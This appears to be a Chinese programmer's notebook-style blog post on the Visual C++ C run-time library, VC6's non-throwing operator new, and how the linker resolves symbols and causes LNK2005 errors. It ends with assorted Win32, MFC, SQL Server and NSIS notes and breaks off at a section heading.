1)运行时库就是 C run-time library，是 C 而非 C++ 语言世界的概念:取这个名字就是因为你的 C 程序运行时需要这些库中的函数.

2)C 语言是所谓的“小内核”语言，就其语言本身来说很小（不多的关键字，程序流程控制，数据类型等）；所以，C 语言内核开发出来之后，Dennis Ritchie 和 Brian Kernighan 就用 C 本身重写了 90% 以上的 UNIX 系统函数，并且把其中最常用的部分独立出来，形成头文件和对应的 LIBRARY，C run-time library 就是这样形成的。

3)随后，随着 C 语言的流行，各个 C 编译器的生产商/个体/团体都遵循老的传统，在不同平台上都有相对应的 Standard Library，但大部分实现都是与各个平台有关的。由于各个 C 编译器对 C 的支持和理解有很多分歧和微妙的差别，所以就有了 ANSI C；ANSI C （主观意图上）详细的规定了 C 语言各个要素的具体含义和编译器实现要求，引进了新的函数声明方式，同时订立了 Standard Library 的标准形式。所以C运行时库由编译器生产商提供。至于由其他厂商/个人/团体提供的头文件和库函数，应当称为第三方 C 运行库（Third party C run-time libraries）。

4)C run-time library里面含有初始化代码，还有错误处理代码(例如divide by zero处理)。你写的程序可以没有math库，程序照样运行，只是不能处理复杂的数学运算，不过如果没有了C run-time库，main()就不会被调用，exit()也不能被响应。因为C run-time library包含了C程序运行的最基本和最常用的函数。

5)到了 C++ 世界里，有另外一个概念:Standard C++ Library,它包括了上面所说的 C run-time library 和 STL。包含 C run-time library 的原因很明显，C++ 是 C 的超集，没有理由再重新来一个 C++ run-time library. VC针对C++ 加入的Standard C++ Library主要包括：LIBCP.LIB, LIBCPMT.LIB和 MSVCPRT.LIB

6)Windows环境下，VC提供的 C run-time library又分为动态运行时库和静态运行时库。
动态运行时库主要是DLL库文件msvcrt.dll(or MSVCRTD.DLL for debug build),对应的Import library文件是MSVCRT.LIB(MSVCRTD.LIB for debug build)
静态运行时库(release版)对应的主要文件是：
LIBC.LIB (Single thread static library, retail version)
LIBCMT.LIB (Multithread static library, retail version)

msvcrt.dll提供几千个C函数，即使是像printf这么低级的函数都在msvcrt.dll里。其实你的程序运行时，很大一部分时间时在这些运行库里运行。在你的程序(release版)被编译时，VC会根据你的编译选项(单线程、多线程或DLL)自动将相应的运行时库文件(libc.lib,libcmt.lib或Import library msvcrt.lib)链接进来。

编译时到底哪个C run-time library联入你的程序取决于编译选项：
/MD, /ML, /MT, /LD   (Use Run-Time Library)
你可以VC中通过以下方法设置选择哪个C run-time library联入你的程序：
To find these options in the development environment, click Settings on the Project menu. Then click the C/C++ tab, and click Code Generation in the Category box. See the Use Run-Time Library drop-down box.

从程序可移植性考虑,如果两函数都可完成一种功能，选运行时库函数好,因为各个 C 编译器的生产商对标准C Run-time library提供了统一的支持.

MSDN上对每个Runtime的函数都有Compatibility解释.
如Debug Routines中的_CrtSetAllocHook和_CrtDbgReport就只在Win NT, Win 95下支持...
就是说如果想要在ANSI环境下实现内存泄漏的报告,就可能要自己实现了.
但ANSI中支持的运行库资料不知道在哪里找

和标准C++描述的不一样.
new会被链接到一个debug版本的库,然后跳出一个assert.
就算参数符合assert条件,若分配失败,只是返回0,并不抛出bac_alloc异常.
在网上找了两篇文章,对VC甚不耐烦

(据说出自CSDN,谁写的无心情去考究了):
在VC6.0中如何让new操作失败后抛出异常？

标准C++规定new一个对象时如果分配内存失败就应抛出一个std::bad_alloc异常，如果不希望抛出异常而仅仅传回一个NULL指针，可以用new的无异常版本：new(nothrow)。

VC6.0在<new>头文件中声明了这两种operator new操作符：

void *__cdecl operator new(size_t) _THROW1(std::bad_alloc)；

void *__cdecl operator new(size_t, const std::nothrow_t&) _THROW0()；

并分别定义在newop.cpp和newop2.cpp中。而_THROW0和_THROW1则是两个宏，在Include目录的xstddef文件中定义:

#define _THROW0() throw ()

#define _THROW1(x) throw (x)

newop.cpp和newop2.cpp对应的目标模块被打包进标准C++库中。标准C++库有若干个版本: libcp.lib(单线程静态版)、libcpd.lib(单线程静态调试版)、libcpmt.lib(多线程静态版)、libcpmtd.lib(多线程静态调试版)、msvcprt.lib(多线程动态版的导入库)，msvcprtd.lib(多线程动态调试版的导入库)，这些库与相应版本的C标准库一起使用，比如libcp.lib与libc.lib搭配。另外，VC6.0在new.cpp还定义了一个operator new，原型如下 :

void * operator new( unsigned int cb )

而new.cpp对应的目标模块却是被打包进C标准库中的(是不是有点奇怪?)。

一般来说，程序员不会显式指定链接C++标准库，可是当程序中确实使用了标准C++库时链接器却能聪明地把相应的C++标准库文件加进输入文件列表，这是为什么？其实任何一个C++标准头文件都会直接或间接地包含use_ansi.h文件，打开它一看便什么都清楚了(源码之前，了无秘密) :

/***

*use_ansi.h - pragmas for ANSI Standard C++ libraries

*

* Copyright (c) 1996-1997, Microsoft Corporation. All rights reserved.

*

*Purpose:

* This header is intended to force the use of the appropriate ANSI

* Standard C++ libraries whenever it is included.

*

* [Public]

*

****/

#if _MSC_VER > 1000

#pragma once

#endif

#ifndef _USE_ANSI_CPP

#define _USE_ANSI_CPP

#ifdef _MT

#ifdef _DLL

#ifdef _DEBUG

#pragma comment(lib,"msvcprtd")

#else// _DEBUG

#pragma comment(lib,"msvcprt")

#endif// _DEBUG

#else// _DLL

#ifdef _DEBUG

#pragma comment(lib,"libcpmtd")

#else// _DEBUG

#pragma comment(lib,"libcpmt")

#endif// _DEBUG

#endif// _DLL

#else// _MT

#ifdef _DEBUG

#pragma comment(lib,"libcpd")

#else// _DEBUG

#pragma comment(lib,"libcp")

#endif// _DEBUG

#endif

#endif// _USE_ANSI_CPP

现在我们用实际代码来测试一下new会不会抛出异常，建一个test.cpp源文件：

// test.cpp

#include <new>

#include <iostream>

using namespace std;

class BigClass

{

public:

BigClass() {}

~BigClass(){}

char BigArray[0x7FFFFFFF];

};

int main()

{

try

{

BigClass *p = new BigClass;

}

catch( bad_alloc &a)

{

cout << "new BigClass, threw a bad_alloc exception" << endl;

}

BigClass *q = new(nothrow) BigClass;

if ( q == NULL )

cout << "new(nothrow) BigClass, returned a NULL pointer" << endl;

try

{

BigClass *r = new BigClass[1];

}

catch( bad_alloc &a)

{

cout << "new BigClass[1], threw a bad_alloc exception" << endl;

}

return 0;

}

根据VC6.0编译器与链接器的做法(请参考《为什么会出现LNK2005"符号已定义"的链接错误？》)，链接器会首先在C++标准库中解析符号，然后才是C标准库，所以如果开发者没有自定义operator new的话最后程序链接的应该是C++标准库中newop.obj和newop2.obj模块里的代码。可是程序运行的结果却是:

new(nothrow) BigClass, returned a NULL pointer

显然程序始终未抛出bad_alloc异常。单步跟踪观察，发现第1个和第3个new实际上调用了new.cpp里的operator new，而第二个new(nothrow)则正确地调用了newop2.cpp定义的版本。很难理解是吧？但是当你用

dumpbin /SYMBOLS libcp.lib

dump出libcp.lib所有的符号信息时，你会发现其中的newop.obj模块没有定义任何符号(其它版本也一样)。不可思议！newop.cpp的实现代码明明写在那儿，怎么会....？让我们再仔细看看newop.cpp，咦，operator new的定义被包裹在一个#if...#endif块中:

#if !defined(_MSC_EXTENSIONS)

...

...

void *__cdecl operator new(size_t size) _THROW1(_STD bad_alloc)

{

...

...

}

#endif

哦，原来需要_MSC_EXTENSIONS宏未定义，实现代码才是有效的啊。那么这个宏是什么意思？其实Visual C++在语言层面上对ANSI C标准做了一些特殊的扩展，定义_MSC_EXTENSIONS意味着编译器支持这样的扩展，没有定义它编译器就会严格按照ANSI C标准来编译程序。实际上如果指定了编译选项/Ze编译器就会自动定义这个宏，指定/Za则不会，而且/Ze是缺省选项。作者猜想Visual Studio的开发人员在build标准C++库时很可能没有指定/Za，导致newop.cpp中的operator new定义被无情抛弃。是他们的疏漏吗？我看未必，大家可以试试用/Za选项去编译那些标准库文件，看看有多少编译不通过。VC标准库的实现用了很多微软扩展的语言特性，不指定/Za是情有可原的，我不明白的是newop.cpp的作者(好象是P.J. Plauger老人家)为什么会加上一个如此愚蠢的"#if !defined(_MSC_EXTENSIONS)"，因为实在看不出这个operator new定义与_MSC_EXTENSIONS有什么冲突的地方。

既然标准C++库里的newop.obj是个空壳，那我们就只好自己动手丰衣足食了。把newop.cpp和dbgint.h(都在VC98\crt\src目录下)拷贝到test.cpp所在的目录，并将newop.cpp中的

#include <dbgint.h>

改成

#include "dbgint.h"

然后用

cl /c /Za /D_CRTBLD newop.cpp

编译它。/D_CRTBLD定义了_CRTBLD宏，为什么这么做呢？因为dbgint.h属于内部头文件，VC不希望应用程序用到它，便在文件中埋伏了这么一段:

#ifndef _CRTBLD

/*

* This is an internal C runtime header file. It is used when building

* the C runtimes only. It is not to be used as a public header file.

*/

#error ERROR: Use of C runtime library internal header file.

#endif /* _CRTBLD */

可我们确确实实是想build标准库(的一部分)，所以只好强行突破这个限制了。然后编译test.cpp:

cl /c /GX test.cpp

最后进行链接:

link test.obj newop.obj

这时再运行test.exe输出的结果就是

new BigClass, threw a bad_alloc exception

new(nothrow) BigClass, returned a NULL pointer

new BigClass[1], threw a bad_alloc exception

值得庆幸的是虽然VC6.0如此弱智，但VC7.1却表现良好，原因是VC7.1的newop.cpp和newaop.cpp(数组版)取消了那个愚的"#if !defined(_MSC_EXTENSIONS)"，于是标准C++库中的newop.obj和newaop.obj模块都实实在在地有了相应代码。另外，nothrow版的定义也分别转移到了newopnt.cpp和newaopnt.cpp中。

后记: 作者在2001年便碰到过这个问题，百思不得其解，于是在CSDN论坛上发问，也不见答复。从此便搁置一旁，直到最近因探究LNK2005链接错误而彻底弄清楚VC链接器解析符号的规则后，才意识到二者或有联系。于是重拾旧疑，顺藤而上，果然问题就迎刃而解。此题虽小，功夫却做足，最后总算水落石出，解除了4年的积惑。

另一篇文章(网上被大量转载,来源不可知,我觉得这篇文章有些内容不一定正确):
为什么会出现LNK2005"符号已定义"的链接错误?
  许多Visual C++的使用者都碰到过LNK2005:symbol already defined和LNK1169:one or more multiply defined symbols found这样的链接错误，而且通常是在使用第三方库时遇到的。对于这个问题，有的朋友可能不知其然，而有的朋友可能知其然却不知其所以然，那么本文就试图为大家彻底解开关于它的种种疑惑。

    大家都知道，从C/C++源程序到可执行文件要经历两个阶段:(1)编译器将源文件编译成汇编代码，然后由汇编器(assembler)翻译成机器指令(再加上其它相关信息)后输出到一个个目标文件(object file,VC的编译器编译出的目标文件默认的后缀名是.obj)中；(2)链接器(linker)将一个个的目标文件(或许还会有若干程序库)链接在一起生成一个完整的可执行文件。

    编译器编译源文件时会把源文件的全局符号(global symbol)分成强(strong)和弱(weak)两类传给汇编器，而随后汇编器则将强弱信息编码并保存在目标文件的符号表中。那么何谓强弱呢？编译器认为函数与初始化了的全局变量都是强符号，而未初始化的全局变量则成了弱符号。比如有这么个源文件:

extern int errorno;
int buf[2] = {1,2};
int *p;

int main()
{
   return 0;
}

其中main、buf是强符号，p是弱符号，而errorno则非强非弱，因为它只是个外部变量的使用声明。

    有了强弱符号的概念，我们就可以看看链接器是如何处理与选择被多次定义过的全局符号:

规则1: 不允许强符号被多次定义(即不同的目标文件中不能有同名的强符号)；

规则2: 如果一个符号在某个目标文件中是强符号，在其它文件中都是弱符号，那么选择强符号；

规则3: 如果一个符号在所有目标文件中都是弱符号，那么选择其中任意一个；

    由上可知多个目标文件不能重复定义同名的函数与初始化了的全局变量，否则必然导致LNK2005和LNK1169两种链接错误。可是，有的时候我们并没有在自己的程序中发现这样的重定义现象，却也遇到了此种链接错误，这又是何解？嗯，问题稍微有点儿复杂，容我慢慢道来。

    众所周知，ANSI C/C++ 定义了相当多的标准函数，而它们又分布在许多不同的目标文件中，如果直接以目标文件的形式提供给程序员使用的话，就需要他们确切地知道哪个函数存在于哪个目标文件中，并且在链接时显式地指定目标文件名才能成功地生成可执行文件，显然这是一个巨大的负担。所以C语言提供了一种将多个目标文件打包成一个文件的机制，这就是静态程序库(static library)。开发者在链接时只需指定程序库的文件名，链接器就会自动到程序库中寻找那些应用程序确实用到的目标模块，并把(且只把)它们从库中拷贝出来参与构建可执行文件。几乎所有的C/C++开发系统都会把标准函数打包成标准库提供给开发者使用(有不这么做的吗？)。

    程序库为开发者带来了方便，但同时也是某些混乱的根源。我们来看看链接器是如何解析(resolve)对程序库的引用的。
   
    在符号解析(symbol resolution)阶段，链接器按照所有目标文件和库文件出现在命令行中的顺序从左至右依次扫描它们，在此期间它要维护若干个集合:(1)集合E是将被合并到一起组成可执行文件的所有目标文件集合；(2)集合U是未解析符号(unresolved symbols，比如已经被引用但是还未被定义的符号)的集合；(3)集合D是所有之前已被加入到E的目标文件定义的符号集合。一开始，E、U、D都是空的。

(1): 对命令行中的每一个输入文件f，链接器确定它是目标文件还是库文件，如果它是目标文件，就把f加入到E，并把f中未解析的符号和已定义的符号分别加入到U、D集合中，然后处理下一个输入文件。

(2): 如果f是一个库文件，链接器会尝试把U中的所有未解析符号与f中各目标模块定义的符号进行匹配。如果某个目标模块m定义了一个U中的未解析符号，那么就把m加入到E中，并把m中未解析的符号和已定义的符号分别加入到U、D集合中。不断地对f中的所有目标模块重复这个过程直至到达一个不动点(fixed point)，此时U和D不再变化。而那些未加入到E中的f里的目标模块就被简单地丢弃，链接器继续处理下一输入文件。

(3): 如果处理过程中往D加入一个已存在的符号，或者当扫描完所有输入文件时U非空，链接器报错并停止动作。否则，它把E中的所有目标文件合并在一起生成可执行文件。

    VC带的编译器名字叫cl.exe，它有这么几个与标准程序库有关的选项: /ML、/MLd、/MT、/MTd、/MD、/MDd。这些选项告诉编译器应用程序想使用什么版本的C标准程序库。/ML(缺省选项)对应单线程静态版的标准程序库(libc.lib)；/MT对应多线程静态版标准库(libcmt.lib)，此时编译器会自动定义_MT宏；/MD对应多线程DLL版(导入库msvcrt.lib，DLL是msvcrt.dll)，编译器自动定义_MT和_DLL两个宏。后面加d的选项都会让编译器自动多定义一个_DEBUG宏，表示要使用对应标准库的调试版，因此/MLd对应调试版单线程静态标准库(libcd.lib)，/MTd对应调试版多线程静态标准库(libcmtd.lib)，/MDd对应调试版多线程DLL标准库(导入库msvcrtd.lib，DLL是msvcrtd.dll)。虽然我们的确在编译时明白无误地告诉了编译器应用程序希望使用什么版本的标准库，可是当编译器干完了活，轮到链接器开工时它又如何得知一个个目标文件到底在思念谁？为了传递相思，我们的编译器就干了点秘密的勾当。在cl编译出的目标文件中会有一个专门的区域(关心这个区域到底在文件中什么地方的朋友可以参考COFF和PE文件格式)存放一些指导链接器如何工作的信息，其中有一种就叫缺省库(default library)，这些信息指定了一个或多个库文件名，告诉链接器在扫描的时候也把它们加入到输入文件列表中(当然顺序位于在命令行中被指定的输入文件之后)。说到这里，我们先来做个小实验。写个顶顶简单的程序，然后保存为main.c :

/* main.c */
int main() { return 0; }

用下面这个命令编译main.c(什么？你从不用命令行来编译程序？这个......) :

cl /c main.c

/c是告诉cl只编译源文件，不用链接。因为/ML是缺省选项，所以上述命令也相当于: cl /c /ML main.c 。如果没什么问题的话(要出了问题才是活见鬼！当然除非你的环境变量没有设置好，这时你应该去VC的bin目录下找到vcvars32.bat文件然后运行它。)，当前目录下会出现一个main.obj文件，这就是我们可爱的目标文件。随便用一个文本编辑器打开它(是的，文本编辑器，大胆地去做别害怕)，搜索"defaultlib"字符串，通常你就会看到这样的东西: "-defaultlib:LIBC -defaultlib:OLDNAMES"。啊哈，没错，这就
是保存在目标文件中的缺省库信息。我们的目标文件显然指定了两个缺省库，一个是单线程静态版标准库libc.lib(这与/ML选项相符)，另外一个是oldnames.lib(它是为了兼容微软以前的C/C++开发系统)。

    VC的链接器是link.exe，因为main.obj保存了缺省库信息，所以可以用

link main.obj libc.lib

或者

link main.obj

来生成可执行文件main.exe，这两个命令是等价的。但是如果你用

link main.obj libcd.lib

的话，链接器会给出一个警告: "warning LNK4098: defaultlib "LIBC" conflicts with use of other libs; use /NODEFAULTLIB:library"，因为你显式指定的标准库版本与目标文件的缺省值不一致。通常来说，应该保证链接器合并的所有目标文件指定的缺省标准库版本一致，否则编译器一定会给出上面的警告，而LNK2005和LNK1169链接错误则有时会出现有时不会。那么这个有时到底是什么时候？呵呵，别着急，下面的一切正是为喜欢追根究底的你准备的。

    建一个源文件，就叫mylib.c，内容如下:

/* mylib.c */
#include <stdio.h>

void foo()
{
   printf("%s","I am from mylib!\n");
}

用

cl /c /MLd mylib.c

命令编译，注意/MLd选项是指定libcd.lib为默认标准库。lib.exe是VC自带的用于将目标文件打包成程序库的命令，所以我们可以用

lib /OUT:my.lib mylib.obj

将mylib.obj打包成库，输出的库文件名是my.lib。接下来把main.c改成:

/* main.c */
void foo();

int main()
{
   foo();
   return 0;
}

用

cl /c main.c

编译，然后用

link main.obj my.lib

进行链接。这个命令能够成功地生成main.exe而不会产生LNK2005和LNK1169链接错误，你仅仅是得到了一条警告信息:"warning LNK4098: defaultlib "LIBCD" conflicts with use of other libs; use /NODEFAULTLIB:library"。我们根据前文所述的扫描规则来分析一下链接器此时做了些啥。

    一开始E、U、D都是空集，链接器首先扫描到main.obj，把它加入E集合，同时把未解析的foo加入U，把main加入D，而且因为main.obj的默认标准库是libc.lib，所以它被加入到当前输入文件列表的末尾。接着扫描my.lib，因为这是个库，所以会拿当前U中的所有符号(当然现在就一个foo)与my.lib中的所有目标模块(当然也只有一个mylib.obj)依次匹配，看是否有模块定义了U中的符号。结果mylib.obj确实定义了foo，于是它被加入到E，foo从U转移到D，mylib.obj引用的printf加入到U，同样地，mylib.obj指定的默认标准库是libcd.lib，它也被加到当前输入文件列表的末尾(在libc.lib的后面)。不断地在my.lib库的各模块上进行迭代以匹配U中的符号，直到U、D都不再变化。很明显，现在就已经到达了这么一个不动点，所以接着扫描下一个输入文件，就是libc.lib。链接器发现libc.lib里的printf.obj里定义有printf，于是printf从U移到D，而printf.obj被加入到E，它定义的所有符号加入到D，它里头的未解析符号加入到U。链接器还会把每个程序都要用到的一些初始化操作所在的目标模块(比如crt0.obj等)及它们所引用的模块(比如malloc.obj、free.obj等)自动加入到E中，并更新U和D以反应这个变化。事实上，标准库各目标模块里的未解析符号都可以在库内其它模块中找到定义，因此当链接器处理完libc.lib时，U一定是空的。最后处理libcd.lib，因为此时U已经为空，所以链接器会抛弃它里面的所有目标模块从而结束扫描，然后合并E中的目标模块并输出可执行文件。

    上文描述了虽然各目标模块指定了不同版本的缺省标准库但仍然链接成功的例子，接下来你将目睹因为这种不严谨而导致的悲惨失败。

    修改mylib.c成这个样子:

#include <crtdbg.h>

void foo()
{
   // just a test , don't care memory leak
   _malloc_dbg( 1, _NORMAL_BLOCK, __FILE__, __LINE__ );
}

其中_malloc_dbg不是ANSI C的标准库函数，它是VC标准库提供的malloc的调试版，与相关函数配套能帮助开发者抓各种内存错误。使用它一定要定义_DEBUG宏，否则预处理器会把它自动转为malloc。继续用

cl /c /MLd mylib.c
lib /OUT:my.lib mylib.obj

编译打包。当再次用

link main.obj my.lib

进行链接时，我们看到了什么？天哪，一堆的LNK2005加上个贵为"fatal error"的LNK1169垫底，当然还少不了那个LNK4098。链接器是不是疯了？不，你冤枉可怜的链接器了，我拍胸脯保证它可是一直在尽心尽责地照章办事。

    一开始E、U、D为空，链接器扫描main.obj，把它加入E，把foo加入U，把main加入D，把libc.lib加入到当前输入文件列表的末尾。接着扫描my.lib，foo从U转移到D，_malloc_dbg加入到U，libcd.lib加到当前输入文件列表的尾部。然后扫描libc.lib，这时会发现libc.lib里任何一个目标模块都没有定义_malloc_dbg(它只在调试版的标准库中存在)，所以不会有任何一个模块因为_malloc_dbg而加入E，但是每个程序都要用到的初始化模块(如crt0.obj等)及它们所引用的模块(比如malloc.obj、free.obj等)还是会自动加入到E中，同时U和D被更新以反应这个变化。当链接器处理完libc.lib时，U只剩_malloc_dbg这一个符号。最后处理libcd.lib，发现dbgheap.obj定义了_malloc_dbg，于是dbgheap.obj加入到E，它里头的未解析符号加入U，它定义的所有其它符号也加入D，这时灾难便来了。之前malloc等符号已经在D中(随着libc.lib里的malloc.obj加入E而加入的)，而dbgheap.obj又定义了包括malloc在内的许多同名符号，这引发了重定义冲突，链接器只好中断工作并报告错误。

    现在我们该知道，链接器完全没有责任，责任在我们自己的身上。是我们粗心地把缺省标准库版本不一致的目标文件(main.obj)与程序库(my.lib)链接起来，导致了大灾难。解决办法很简单，要么用/MLd选项来重编译main.c；要么用/ML选项重编译mylib.c。

    在上述例子中，我们拥有库my.lib的源代码(mylib.c)，所以可以用不同的选项重新编译这些源代码并再次打包。可如果使用的是第三方的库，它并没有提供源代码，那么我们就只有改变自己程序的编译选项来适应这些库了。但是如何知道库中目标模块指定的默认库呢？其实VC提供的一个小工具便可以完成任务，这就是dumpbin.exe。运行下面这个命令

dumpbin /DIRECTIVES my.lib

然后在输出中找那些"Linker Directives"引导的信息，你一定会发现每一处这样的信息都会包含若干个类似"-defaultlib:XXXX"这样的字符串，其中XXXX便代表目标模块指定的缺省库名。

    知道了第三方库指定的默认标准库，再用合适的选项编译我们的应用程序，就可以避免LNK2005和LNK1169链接错误。喜欢IDE的朋友，你一样可以到 "Project属性" -> "C/C++" -> "代码生成(code generation)" -> "运行时库(run-time library)" 项下设置应用程序的默认标准库版本，这与命令行选项的效果是一样的。




好文章还不是一般的多:
Under The Hood, July 1997
http://comcamp.diy.myrice.com/techarticles/vc/0010.htm

为什么全局变量没有初始化?
http://comcamp.diy.myrice.com/techarticles/vc/0011.htm


链接一个静态LIB,不在客户端代码中使用它的任何变量和代码,但要让这个LIB的全局变量被初始化的方法是:
这个链接库头文件应该这么写:
extern CMyClass *g_pObject ;
static void *__dummy = (void*)g_pObject ;

// lib.cpp
CMyClass *g_pObject = CMyClass::Instance() ; // Singleton

__dummy会出现在任何包含这个头文件的CPP文件的OBJ中,所以LINKER会把静态库中的g_pObject链接到Exe中,包括它的构造和析构


<iostream>很有意思,其中有一行
static ios_base::Init _Ios_init;
ios_base::Init是个类,在类的构造中判断构造是否第一次被调用,如果是,则初始化cout,cin,cerr等
在类的析构中判断这是不是最后一次构造,如果是,则调用cout.flush() .... (basic_ostream等的析构并没有调用flush)
具体怎么判断是否第一次调用构造,是否最后一次调用析构,那是用一个int的静态类成员来计算...

其实这样会增加exe文件的尺寸,降低程序启动速度....

HGLOBAL LoadResource(
  HMODULE hModule, // resource-module handle
  HRSRC hResInfo   // resource handle
);

HRSRC FindResource(
  HMODULE hModule, // module handle
  LPCTSTR lpName,  // pointer to resource name
  LPCTSTR lpType   // pointer to resource type
);

void AfxSetResourceHandle( HINSTANCE hInstResource );]
HINSTANCE AfxGetResourceHandle( );
CString::LoadString(UINT nID) calls:
   int AFXAPI AfxLoadString(UINT nIDS, LPTSTR lpszBuf, UINT nMaxBuf = 256);

MFC怎么在应用程序框架中自动加入资源(mfc的光标对话框等)
MFC的文件保存在如下位置：
X:\Microsoft Visual Studio\VC98\MFC\Include
X:\Microsoft Visual Studio\VC98\MFC\Lib
X:\Microsoft Visual Studio\VC98\MFC\SRC
其中include文件包含了资源的头文件.h和定义文件.rc

MFC的这些资源怎么被神不知鬼不觉的编译链接到MFC程序中？
见下图:

 









程序源代码文件的物理位置规划

虽然不能直接把资源放到静态链接库中，但只要稍做变通，就能弄出一个可以到处使用的对话框静态链接库了。

但还有个问题是如何避免资源ID的冲突

// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_3D_CONTROLS                     1
#define _APS_NEXT_RESOURCE_VALUE        227
#define _APS_NEXT_COMMAND_VALUE         32831
#define _APS_NEXT_CONTROL_VALUE         1274
#define _APS_NEXT_SYMED_VALUE           104
#endif
#endif

SELECT a.*
FROM OPENROWSET('SQLOLEDB','FSERVER';'sa';'x',
   'SELECT * FROM pubs.dbo.authors ORDER BY au_lname, au_fname') AS a

OPEN f_Cursor

FETCH NEXT FROM f_Cursor
WHILE @@FETCH_STATUS = 0
BEGIN
   FETCH NEXT FROM f_Cursor
END

CLOSE f_Cursor
DEALLOCATE f_Cursor

class  CTestCopyConstruct {
public :
    CTestCopyConstruct() {
        TRACE( " Enter CTestCopyConstruct();this is %d\n " , this );
        strTest  =   " not ok " ;
        i  =   0 ;
    }
    CTestCopyConstruct( const  CTestCopyConstruct  & src) {
        TRACE( " Enter CTestCopyConstruct(const CTestCopyConstruct &src);this is %d;src is %d\n " , this , & src);
        strTest  =  src.strTest;
        i  =  src.i;
    }
    CTestCopyConstruct  &  operator  = ( const  CTestCopyConstruct  &  src) {
        TRACE( " Enter CTestCopyConstruct & operator =(const CTestCopyConstruct & src);this is %d;src is %d\n " , this , & src);
        strTest  =  src.strTest;
        i  =  src.i;
         return   * this ;
    }
    CString strTest;
     int  i;
} ;

CTestCopyConstruct GetTest() {
    CTestCopyConstruct ret1;
    ret1.strTest  =   " ok " ;
    ret1.i  =   0 ;
    CTestCopyConstruct ret2;
     return  ret1;
}

void  CTestDlg::OnOK() 
{
    CTestCopyConstruct var1;
    CTestCopyConstruct var2  =  GetTest();

    TRACE( " \nresult 1:\n " );
    TRACE( " var1 is %d\n " , & var1);
    TRACE( " var2 is %d var2.str is %s\n\n " , & var2,var2.strTest);

    CTestCopyConstruct var3  =  var2;
    CTestCopyConstruct var4;
    var4  =  var2;

    TRACE( " \nresult 2:\n " );
    TRACE( " var3 is %d var3.str is %s\n " , & var3,var3.strTest);
    TRACE( " var4 is %d var2.str is %s\n " , & var4,var4.strTest);
}

代码如上，调试窗口输出如下：
Enter CTestCopyConstruct();this is 1242980
Enter CTestCopyConstruct();this is 1242848
Enter CTestCopyConstruct();this is 1242840
Enter CTestCopyConstruct(const CTestCopyConstruct &src);this is 1242972;src is 1242848

result 1:
var1 is 1242980
var2 is 1242972 var2.str is ok

Enter CTestCopyConstruct(const CTestCopyConstruct &src);this is 1242964;src is 1242972
Enter CTestCopyConstruct();this is 1242956
Enter CTestCopyConstruct & operator =(const CTestCopyConstruct & src);this is 1242956;src is 1242972

result 2:
var3 is 1242964 var3.str is ok
var4 is 1242956 var2.str is ok

分析：
CTestCopyConstruct var1;\\1
CTestCopyConstruct var2 = GetTest();\\2
代码的执行如下：
当前堆栈指针(sp) = 1242980
sp -= 8//在堆栈中为var1分配空间
在var1上(1242980 - 1242973)调用构造函数
sp -= 8//在堆栈中为var2分配空间
sp -= n//保护当前环境
进入了GetTest函数
当前sp = 1242848
sp -= 8//为ret1分配空间
构建ret1
sp -= 8//为ret2分配空间
构建ret2
......
对var2(1242972处的堆栈段)调用拷贝构造函数，以test1(1242848处)为参数
//析构test1 test2等...
sp += n//恢复运行环境
......

另：
operater = () 和默认构造函数不一样，只重写=运算符而不提供拷贝构造函数，调用的仍然是默认的构造函数。
默认构造函数和赋值运算符处理的情况不一样，一个是在已分配的空间上调用，一个是在已构造的对象上调用。

默认拷贝构造函数会调用类中各成员的拷贝构造函数。CString 由于提供了拷贝构造函数，所以上面例子中即使去掉拷贝构造函数，var2 仍然会得到正确的值。

调试的环境是vc6.0 debug 默认选项。编译没有优化。

CTestCopyConstruct( const  CTestCopyConstruct  & src)
         {
        TRACE( " Enter CTestCopyConstruct(const CTestCopyConstruct &src);this is %d;src is %d\n " , this , & src);
        strTest  =  src.strTest;
        i  =  src.i;
    }

与

CTestCopyConstruct( const  CTestCopyConstruct  & src)
        :strTest (src.strTest) {
        TRACE( " Enter CTestCopyConstruct(const CTestCopyConstruct &src);this is %d;src is %d\n " , this , & src);
        i  =  src.i;
    }

SHFileOperation
ShellExecute

#include <winsvc.h>
OpenSCManager
OpenService
QueryServiceStatus
StartService

COleDispatchDriver
  .m_bAutoRelease
ListView_SetExtendedListViewStyle(hWnd,LVS_EX_CHECKBOXES | LVS_EX_FULLROWSELECT);

EnumProcessModules

WM_DEVICECHANGE

SHGetSpecialFolderLocation
SHGetPathFromIDList

CAsyncMonikerFile 下载文件

PlgBlt

GetEnvironmentVariable
ExpandEnvironmentStrings

RegisterWindowsMessage

GetACP
The GetACP function retrieves the current ANSI code-page identifier for the system.

GetTextCharset 
GetTextCharsetInfo 
IsDBCSLeadByte 
IsDBCSLeadByteEx 
IsTextUnicode 
MultiByteToWideChar 
TranslateCharsetInfo 
WideCharToMultiByte

declare @x int
select @x = 1
while @x < 100000
begin
insert table1(id, idv)values(@x, @x)
select @x = @x + 1
end

_com_issue_error

Video for Windows  VFW

_TrackMouseEvent

MakeSureDirectoryPathExists
_taccess errno
GetFileAttributes

关于Script
IActiveScript

strtol 与 atol 的比较

http://www.openssl.org/  openssl 开源的数据加密 数字签名 等API

SQLBrowseConnect 带数据源选择对话框的连接
SQLDataSources      列出数据源名称描述.必须SQLSetEnvAttr 设置为odbc3.0版本(非常晕)

http://www.bruceeckel.com/ Bruce Eckel的主页。一堆好书

http://www.twinhelix.com/ 牛人的DHTML menu... 11k的.js文件。呃，jscript代码是很恶心的...so 实在佩服

const CString &  Value: OK
CString & const Value以及CString & volitate Value ==>过时用法

-------------------------------------------暗淡的分割线-------------------------------------------
发现要能生成适合各种情况的能订制的补丁要考虑的东西太多太多了...自己要定义一套东西...
相当于制作安装程序要考虑的内容...
那何必呢...直接研究NSIS不就可以了...
NSIS帮助文档的翻译:http://foobar.nease.net/nsis/index.html,和英文的没啥差别,差别就是语言不同.哈
稍微看了一下，又倒了胃口...
本来安装程序这东西就很复杂,提供定制更麻烦,InstallShield不就有无数个变量吗...

-------------------------------------------最后的分割线-------------------------------------------
最终还是用NSIS来做了...
其实NSIS晦涩的地方在于:
1，没有丰富的中文资料，Document上那点内容看了不会让人放心，说实在还是得去他们论坛查，够麻烦
2，很多语法类似于汇编语言
3, contrib目录下有很多库，每个库有各自的文档，而且是不怎么详细的文档

不过便利的地方也很多:
写个.ini文件就可以订制对话框
可以调用外部DLL
支持回调函数(CALLBACK)
可以编写NSIS自己的DLL，直接访问安装程序内部数据

下图是是调用了外部DLL执行mssql的.sql文件，并由外部DLL回调内部方法输出SQL语句的例子。

“无法解决 equal to 操作的排序规则冲突。”

一.错误分析：
